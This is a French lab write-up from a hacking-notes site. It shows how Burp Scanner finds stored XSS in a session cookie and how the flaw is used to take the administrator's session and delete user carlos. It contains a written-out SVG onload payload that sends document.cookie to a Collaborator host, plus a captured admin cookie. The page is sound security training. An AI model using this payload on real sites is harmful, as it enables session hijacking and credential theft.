> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/essential-skills/analyzing-non-standard-data-structures.md).

# Analyse de structures de données non standard

### Analyse de structures de données non standard

**Contexte du laboratoire**

Ce labo contient une vulnérabilité difficile à identifier manuellement, car elle se situe dans une **structure de données non standard**. / L'objectif est d'utiliser **Burp Scanner**, en particulier la **Analyser le point d'insertion sélectionné** fonctionnalité, pour détecter la vulnérabilité, puis l'exploiter manuellement afin de **supprimer l'utilisateur `carlos`**.

Identifiant fourni :

* **Utilisateur**: wiener
* **Mot de passe**: peter

**Étape 1 – Authentification**

Connectez-vous à l'application via la page de connexion avec les identifiants fournis.

<figure><img src="/files/4d825fa5c3ad0ec79fd8c53eaceb792af07a3fea" alt=""><figcaption></figcaption></figure>

**Étape 2 – Analyse ciblée sur un point d'insertion**

Au lieu d'exécuter une analyse globale, une analyse très ciblée est réalisée :

* Une requête authentifiée est interceptée.
* Seule la **valeur du cookie de session** est sélectionnée.

<figure><img src="/files/7336a53f823f3d1dc35bd8b569b11968faa15507" alt=""><figcaption></figcaption></figure>

* Nous lançons **Burp Scanner → Analyser le point d'insertion sélectionné** sur cet élément spécifique.

Cette analyse minimaliste permet d'examiner une zone rarement testée manuellement : la structure interne du cookie.

<figure><img src="/files/97c95ca7d50f82b34dfc36f4ac6401b5a01b63d9" alt=""><figcaption></figcaption></figure>

**Étape 3 – Détection de la vulnérabilité**

Burp Scanner identifie une vulnérabilité de type :

* **Cross-Site Scripting (XSS) stocké**

La charge utile détectée est injectée directement dans le cookie de session.

<figure><img src="/files/15ba0aea677d89980cf48963694020fb442e7a03" alt=""><figcaption></figcaption></figure>

Exemple de charge utile initiale détectée :

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**Étape 4 – Exfiltration du cookie via Burp Collaborator**

Nous adaptons la charge utile pour extraire `document.cookie` le contenu vers notre serveur Collaborator, encodé en Base64 :

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

Ensuite, nous **l'encodons en URL** avant de l'injecter :

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/3e6008bcd044f9ef716fc93edc2746db9ab3a77f" alt=""><figcaption></figcaption></figure>

**Étape 5 – Récupération et décodage du cookie administrateur**

Le serveur Collaborator reçoit une requête contenant le cookie encodé en Base64 :

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

Après décodage, nous obtenons :

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/43254ab3ea5b39b88956b105afe73cd05f025ae0" alt=""><figcaption></figcaption></figure>

**Étape 6 – Accès administrateur et opération finale**

À l'aide du cookie de session administrateur :

* L'interface **admin** est accessible.
* Une page interne de **journaux** est accessible.
* Cette page affichait les cookies sans filtrage, ce qui explique la persistance du **XSS stocké**.
* Il est alors possible de supprimer l'utilisateur **carlos** et de valider le labo.

<figure><img src="/files/a101e3168745d897d73e03a1bab981abc7019206" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
